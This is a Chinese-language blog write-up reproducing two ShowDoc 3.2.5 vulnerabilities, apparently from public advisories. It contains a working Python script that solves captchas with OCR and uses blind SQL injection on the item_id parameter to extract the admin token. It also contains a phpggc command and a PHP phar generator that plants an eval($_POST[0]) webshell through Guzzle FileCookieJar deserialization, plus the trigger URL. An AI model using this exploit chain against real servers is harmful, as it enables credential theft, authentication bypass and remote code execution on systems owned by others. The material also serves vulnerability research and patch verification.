Untitled

SQL注入点寻找

当时的通报是这个,当时在3.2.5版本根本没有修复这个sql注入,对着commit提交的那几个路由一直找也没找出注入点。。。不久后发布了3.2.6版本一眼就能看出注入点

Untitled

很明显看到对item_id 进行了修复做了应该是预处理,来到源码看一下

Untitled

记得当时分析的时候对page_id/d 这种写法看了很久,后面调试的时候一步步跟进去才明白作用,其实就是做强转处理

Untitled

所有这里的I接收的参数后面只能为空或者s这两种,否则就会被强转为其它的,很明显没有做任何处理,直接拼接进了sql语句中符合要求即注入点

注入过程

在注入的过程中遇到了一个点就是下面这段检测代码

1
2
3
4
if (!D("Captcha")->check($captcha_id, $captcha)) {
$this->sendError(10206, L('verification_code_are_incorrect'));
return;
}

当时半天没搞懂这怎么绕,后面翻译了一下这个单词,其实就是验证码。。。那么就只需要去弄个验证码就行,抓一下验证码接口,发现请求验证码分了两部

Untitled

第一步就是先得到这个captcha_id ,然后根据这个id再去请求验证码

Untitled

验证码用一次就失效了

Untitled

成功报错,接下来就是注出数据了,但是这个验证码得解决一下,不知道为啥我小皮起的环境加载网页慢死,解决验证码本来是想着用captcha-killer-modified这个插件的,但是它有个captcha_id这样就不方便了,所以直接写脚本利用ddddocr去识别验证码即可,这个解决简单,但是因为这里是盲注所以注出数据得有个布尔条件,由于本地环境问题没能好好对数据库进行调试,无奈只能看别人怎么弄的了,造成布尔判断是结合下面这里

1
2
3
4
5
6
if ($password && $item['password'] == $password) {
session("visit_item_" . $item_id, 1);
$this->sendResult(array("refer_url" => base64_decode($refer_url)));
} else {
$this->sendError(10010, L('access_password_are_incorrect'));
}

这里password我们可以设置为1,那么只要$item['password'] 为1即可进入if为0进入else,所以这里只要构造查询正确时$item['password'] 为1错误时为0布尔条件就出来了,item表结构如下

Untitled

password为第六行,所以我们在第六行做一次布尔判断即可达到最终的布尔条件判断

Untitled

我本机的token值第一位是9,可以看到此时布尔判断为1

Untitled

当不为9时判断为0,所以通过此种方法即可注出token数据,脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
import requests
import ddddocr

url = 'http://192.168.1.129:8080' #真实环境需要替换的

ocr = ddddocr.DdddOcr()
table = "0123456789abcdefghijklmnopqrstuvwxyz"

def get_captcha():
#获取识别验证码
id = requests.get(url=url+'/server/index.php?s=/api/common/createCaptcha')
captcha_id = id.json()['data']['captcha_id']

captcha_re = requests.get(url=url+f'/server/index.php?s=/api/common/showCaptcha&captcha_id={captcha_id}&1717902973000')
captcha = ocr.classification(captcha_re.content) #此识别不一定百分百正确

return captcha_id,captcha

def Injection():
captcha_id,captcha = get_captcha()
token = ""
#开始注入
for i in range(1,65):
for j in list(table):
while True:
payload = f"1') union select 1,2,3,4,5,substr((select token from user_token where uid=1),{i},1)='{j}',7,8,9,10,11,12-- "
result = requests.get(url=url + f'/server/index.php?s=/api/item/pwd&password=1&captcha_id={captcha_id}&captcha={captcha}&item_id={payload}',proxies={'http':'http://127.0.0.1:8080'})

if "refer_url" in result.text:
token += j
print("注出来的token为:"+token)
break
elif result.json()['error_code'] == 10206 :
captcha_id,captcha = get_captcha()
continue
else:
break
if len(token) == i:
break

if __name__ == '__main__':
Injection()

效果还行,大佬们真滴猛,这个布尔条件自己找还真不一定找的出来

Untitled

由于鉴权基本上都是通过这个token来的,所以拿到这个token即可进入后台

反序列化

这里直接看3.2.5的修复commit

Untitled

就是将这个方法从public改为了private,来到这个函数下看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public function new_is_writeable($file)
{
if (is_dir($file)) {
$dir = $file;
if ($fp = @fopen("$dir/test.txt", 'w')) {
@fclose($fp);
@unlink("$dir/test.txt");
$writeable = 1;
} else {
$writeable = 0;
}
} else {
if ($fp = @fopen($file, 'a+')) {
@fclose($fp);
$writeable = 1;
} else {
$writeable = 0;
}
}

return $writeable;
}
}

里面有一个fopen,这个函数可以触发ssrf和phar反序列化,我尝试了一下ssrf,file确实可控但是dnslog并没有收到请求

Untitled

可以看到这个file已经变为了我指定的dnslog地址,后来查了一下这个大部分PHP并不会开启fopen的 gopher wrapper所以请求不会成功

Untitled

但是这个函数还可以拿来利用phar反序列化

phar

反序列化点已经找到,接下来找文件上传和链子即可 ,上传点好找,进后台即可找到

Untitled

访问这个地址可以转到真实的图片地址,接下来寻找反序列链即可

这个doc是基于thinkphp3.2.3,在这个版本的thinkphp似乎更多的是sql注入,能rce的不多,看大佬们直接利用的是GuzzleHttp这个第三方库

Untitled

分析思路就是看是否存在composer,即第三方依赖,然后寻找GuzzleHttp,发现存在直接打

在phpggc整合了这条链直接生成即可,因为存在白名单所以生成它运行的后缀即可,大佬直接给了生成命令

1
./phpggc Guzzle/FW1 "/var/www/html/Public/Uploads/shell.php" ./shell.php -p phar -pp ./gif -o out.png

但是我直接生成的图片利用失败,不知道是不是我提供的图片问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
<?php  
namespace GuzzleHttp\Cookie {
class CookieJar
{
private $cookies;
public function __construct()
{
$this->cookies = array(new SetCookie());
}
private $strictMode;
}
class FileCookieJar extends CookieJar
{
private $filename = "/var/www/html/shell.php";
private $storeSessionCookies = true;
}
class SetCookie
{
private $data = array('Expires' => '<?php eval($_POST[0]);?>');
}
}
namespace {
$phar = new Phar("shell.phar"); //后缀名必须为phar
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub
$o = new \GuzzleHttp\Cookie\FileCookieJar();
$phar->setMetadata($o); //将⾃定义的meta-data存⼊manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的⽂件
//签名⾃动计算
$phar->stopBuffering();
}

利用这个脚本生成phar,然后手动改后缀为jpg,上传后拿地址在反序列化点打一下即可

1
/server/index.php?s=/home/index/new_is_writeable&file=phar://Public/Uploads/2024-06-15/666d7515df4fd.jpg

利用成功

Untitled

一点感悟

在这个漏洞没公开poc时我就在尝试复现,但是当时在对着commit死磕那个sql注入,磕了一天连注入点都没找到以为很难就没看了,分析文章出来后虽然利用有难度,但是找到利用点还是挺简单的,以后再做类似复现还是得灵活一点。。。。

参考

https://xz.aliyun.com/t/14802

https://xz.aliyun.com/t/14808